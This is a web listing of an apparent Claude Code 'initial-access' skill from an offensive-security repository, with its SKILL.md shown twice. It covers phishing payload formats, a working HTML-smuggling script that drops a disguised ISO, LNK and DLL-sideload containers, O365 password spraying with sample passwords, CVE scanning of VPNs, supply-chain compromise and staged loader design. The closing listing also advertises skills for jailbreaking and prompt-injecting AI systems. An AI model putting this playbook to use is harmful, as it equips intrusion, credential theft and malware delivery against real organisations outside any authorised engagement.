/initial-access
Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation
$ npx -y skills add hypnguyen1209/offensive-claude --skill initial-access --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/initial-access
Context preview
The summary Claude sees to decide when to auto-load this skill.
Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation
SKILL.md
initial-access.SKILL.mdname: initial-access
description: Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation
metadata:
type: offensive
phase: initial-access
mitre: TA0001
kill_chain:
phase: [delivery]
step: [3]
attck_tactics: [TA0001]
depends_on: [recon-osint, exploit-development, edr-evasion]
feeds_into: [red-team-ops]
inputs: [target_profile, payload, evasion_technique]
outputs: [initial_foothold, delivery_report]
Initial Access
When to Activate
- Planning initial access phase of red team engagement
- Developing phishing campaigns and payload delivery
- Bypassing email gateways and endpoint protection
- Exploiting exposed services for initial foothold
Attack Vectors
Email-Based (Phishing)
**Payload Delivery Formats** (bypass probability):
- `.exe` — almost always blocked
- `.iso/.img` — bypasses MOTW (Mark of the Web) on older Windows
- `.html` (smuggling) — high success rate
- `.pdf` with embedded JS — moderate
- `.one` (OneNote) — effective until patched
- `.lnk` + DLL sideload — high success in ISO container
- `.pptm/.ppsm/.accde` — often not covered by default protection
**Domain Preparation**:
- Domain age > 2 weeks (warm up with legitimate emails first)
- Use HTTPS with valid certificate
- Category: business/technology (not "newly registered")
- SPF, DKIM, DMARC properly configured
- Send legitimate emails first to build reputation
HTML Smuggling
<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))],
{type: 'application/octet-stream'});
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = 'Report_Q4_2026.iso';
a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>ISO/IMG Container (MOTW Bypass)
# Structure inside ISO:
├── Report.lnk # Shortcut that executes the DLL
├── legitimate.exe # Signed binary vulnerable to DLL sideload
└── payload.dll # Malicious DLL loaded by legitimate.exe
# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen
**Note**: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.
OneNote (.one) Payload
# Embed .bat/.hta behind fake "Double click to view" image
# User double-clicks → executes embedded script
# Effective because OneNote files are rarely blocked by email gateways
DLL Sideloading
# Find legitimate signed EXE that loads DLL from CWD:
# 1. Use Process Monitor: filter for NAME NOT FOUND on DLL loads
# 2. Common targets: teams.exe (ffmpeg.dll), onedrive, slack
# 3. Place malicious DLL alongside legitimate EXE in delivery package
# Popular sideload targets:
# - Microsoft Teams: ffmpeg.dll
# - OneDrive: secur32.dll
# - Slack: libEGL.dll
# - VS Code: wlanapi.dll (portable mode)
Credential-Based Access
Credential Stuffing
# Use breach databases to test against target services
# Tools: Hydra, Burp Intruder, custom scripts
# Targets: VPN portals, OWA, O365, Citrix, RDP
# O365 password spray (avoid lockout: 1 attempt per user per hour)
# Tools: MSOLSpray, Ruler, MailSniper
python3 msolspray.py --userlist users.txt --password 'Company2026!' --url https://login.microsoftonline.com
# Common patterns to try:
# Season+Year: Summer2026!, Winter2025!
# Company+digits: CompanyName1!, Corp2026#
# Month+Year: May2026!, January2026!
Exposed Service Exploitation
# VPN (Fortinet, Pulse Secure, Citrix, Palo Alto)
# Check for known CVEs: CVE-2023-27997 (Fortinet), CVE-2024-3400 (PAN-OS)
searchsploit fortinet
nuclei -u https://vpn.target.com -t cves/ -severity critical
# Exchange (ProxyShell, ProxyNotShell, OWASSRF)
# RDP (BlueKeep CVE-2019-0708 for legacy)
# Jenkins, GitLab, Confluence (common RCE CVEs)
Supply Chain
# Compromise trusted software update mechanism
# Inject into CI/CD pipeline
# Typosquatting on package managers (npm, PyPI)
# Compromise developer workstation → push malicious commit
Staged Payload Architecture
Stage 0 (Loader) — extremely light (<30KB), FUD
├── Self-contained, no external dependencies
├── Only job: download/extract/inject Stage 1
├── NOT .exe (use .dll sideload, .hta, .lnk+script)
└── Must bypass email gateway + endpoint AV
Stage 1 (Minimal Implant) — lightweight C2
├── 5-6 commands: ls, whoami, pwd, download, upload, execute
├── Persistent (registry, scheduled task)
├── FUD (may touch disk)
└── Used to deploy Stage 2 after recon
Stage 2 (Full C2) — Cobalt Strike, Sliver, Havoc
├── Full post-exploitation capability
├── In-memory only (never written to disk)
├── Deployed after AV/EDR assessment
└── Replace Stage 1 persistence with Stage 2
OPSEC for Initial Access
- Warm up phishing domain 2+ weeks before engagement
- Use legitimate email services (O365, Google Workspace) for sending
- Limit number of GET elements and parameter names in URLs
- Test payload against target's email gateway (if possible, get sample config)
- Use HTTPS for all payload hosting
- Kill date on all payloads (auto-destruct after engagement window)
- Separate infrastructure per engagement phase (phishing ≠ C2)
- Monitor for blue team interaction with your infrastructure
Delivery Alternatives
# QR code to attacker-controlled site (bypasses email URL scanning)
# Legitimate file-sharing links (OneDrive, Google Drive, Dropbox)
# Vishing (voice phishing) → guide target to download payload
# USB drop (physical access scenarios)
# Watering hole (compromise site frequented by targets)
# LinkedIn/social media DM with "job offer" document
Read more
name: initial-access description: Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation metadata: type: offensive phase: initial-access mitre: TA0001 kill_chain: phase: [delivery] step: [3] attck_tactics: [TA0001] depends_on: [recon-osint, exploit-development, edr-evasion] feeds_into: [red-team-ops] inputs: [target_profile, payload, evasion_technique] outputs: [initial_foothold, delivery_report]
Initial Access
When to Activate
- Planning initial access phase of red team engagement
- Developing phishing campaigns and payload delivery
- Bypassing email gateways and endpoint protection
- Exploiting exposed services for initial foothold
Attack Vectors
Email-Based (Phishing)
**Payload Delivery Formats** (bypass probability):
- `.exe` — almost always blocked
- `.iso/.img` — bypasses MOTW (Mark of the Web) on older Windows
- `.html` (smuggling) — high success rate
- `.pdf` with embedded JS — moderate
- `.one` (OneNote) — effective until patched
- `.lnk` + DLL sideload — high success in ISO container
- `.pptm/.ppsm/.accde` — often not covered by default protection
**Domain Preparation**:
- Domain age > 2 weeks (warm up with legitimate emails first)
- Use HTTPS with valid certificate
- Category: business/technology (not "newly registered")
- SPF, DKIM, DMARC properly configured
- Send legitimate emails first to build reputation
HTML Smuggling
<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))],
{type: 'application/octet-stream'});
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = 'Report_Q4_2026.iso';
a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>ISO/IMG Container (MOTW Bypass)
# Structure inside ISO: ├── Report.lnk # Shortcut that executes the DLL ├── legitimate.exe # Signed binary vulnerable to DLL sideload └── payload.dll # Malicious DLL loaded by legitimate.exe # LNK target: legitimate.exe (which loads payload.dll from same directory) # Files inside ISO don't inherit MOTW → bypass SmartScreen
**Note**: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.
OneNote (.one) Payload
# Embed .bat/.hta behind fake "Double click to view" image # User double-clicks → executes embedded script # Effective because OneNote files are rarely blocked by email gateways
DLL Sideloading
# Find legitimate signed EXE that loads DLL from CWD: # 1. Use Process Monitor: filter for NAME NOT FOUND on DLL loads # 2. Common targets: teams.exe (ffmpeg.dll), onedrive, slack # 3. Place malicious DLL alongside legitimate EXE in delivery package # Popular sideload targets: # - Microsoft Teams: ffmpeg.dll # - OneDrive: secur32.dll # - Slack: libEGL.dll # - VS Code: wlanapi.dll (portable mode)
Credential-Based Access
Credential Stuffing
# Use breach databases to test against target services # Tools: Hydra, Burp Intruder, custom scripts # Targets: VPN portals, OWA, O365, Citrix, RDP # O365 password spray (avoid lockout: 1 attempt per user per hour) # Tools: MSOLSpray, Ruler, MailSniper python3 msolspray.py --userlist users.txt --password 'Company2026!' --url https://login.microsoftonline.com # Common patterns to try: # Season+Year: Summer2026!, Winter2025! # Company+digits: CompanyName1!, Corp2026# # Month+Year: May2026!, January2026!
Exposed Service Exploitation
# VPN (Fortinet, Pulse Secure, Citrix, Palo Alto) # Check for known CVEs: CVE-2023-27997 (Fortinet), CVE-2024-3400 (PAN-OS) searchsploit fortinet nuclei -u https://vpn.target.com -t cves/ -severity critical # Exchange (ProxyShell, ProxyNotShell, OWASSRF) # RDP (BlueKeep CVE-2019-0708 for legacy) # Jenkins, GitLab, Confluence (common RCE CVEs)
Supply Chain
# Compromise trusted software update mechanism # Inject into CI/CD pipeline # Typosquatting on package managers (npm, PyPI) # Compromise developer workstation → push malicious commit
Staged Payload Architecture
Stage 0 (Loader) — extremely light (<30KB), FUD ├── Self-contained, no external dependencies ├── Only job: download/extract/inject Stage 1 ├── NOT .exe (use .dll sideload, .hta, .lnk+script) └── Must bypass email gateway + endpoint AV Stage 1 (Minimal Implant) — lightweight C2 ├── 5-6 commands: ls, whoami, pwd, download, upload, execute ├── Persistent (registry, scheduled task) ├── FUD (may touch disk) └── Used to deploy Stage 2 after recon Stage 2 (Full C2) — Cobalt Strike, Sliver, Havoc ├── Full post-exploitation capability ├── In-memory only (never written to disk) ├── Deployed after AV/EDR assessment └── Replace Stage 1 persistence with Stage 2
OPSEC for Initial Access
- Warm up phishing domain 2+ weeks before engagement
- Use legitimate email services (O365, Google Workspace) for sending
- Limit number of GET elements and parameter names in URLs
- Test payload against target's email gateway (if possible, get sample config)
- Use HTTPS for all payload hosting
- Kill date on all payloads (auto-destruct after engagement window)
- Separate infrastructure per engagement phase (phishing ≠ C2)
- Monitor for blue team interaction with your infrastructure
Delivery Alternatives
# QR code to attacker-controlled site (bypasses email URL scanning) # Legitimate file-sharing links (OneDrive, Google Drive, Dropbox) # Vishing (voice phishing) → guide target to download payload # USB drop (physical access scenarios) # Watering hole (compromise site frequented by targets) # LinkedIn/social media DM with "job offer" document
A spec-driven offensive security framework for Claude Code — structured engagement workflows based on the Cyber Kill Chain, 31 kill-chain skills (multi-file progressive-disclosure) plus a discipline layer (a SessionStart dispatcher + 6 process/discipline
Repo: hypnguyen1209/offensive-claude
Other skills on offensive-claude.
- /active-directory-attack
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance
Open skill - /advanced-redteam
--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase:
Open skill - /ai-agent-redteam
Use when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning, excessive-agency tool abuse, multi-turn jailbreaks, PyRIT/Garak/Promptfoo harnesses
Open skill - /ai-security
Use when attacking an AI/ML system or model — prompt injection & jailbreaks (Crescendo, Skeleton Key, Best-of-N), RAG/vector poisoning, agentic/MCP exploitation (CVE-2025-54136), ML supply-chain RCE (pickle CVE-2025-32434), model extraction / membership inference / adversarial
Open skill - /browser-exploitation
Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains
Open skill - /cicd-supply-chain
Use when attacking or auditing a CI/CD pipeline or software supply chain — pwn requests, poisoned pipeline execution, compromised/mutable-tag actions, dependency confusion, registry worms, runner backdoors, OIDC trust abuse, SLSA/provenance
Open skill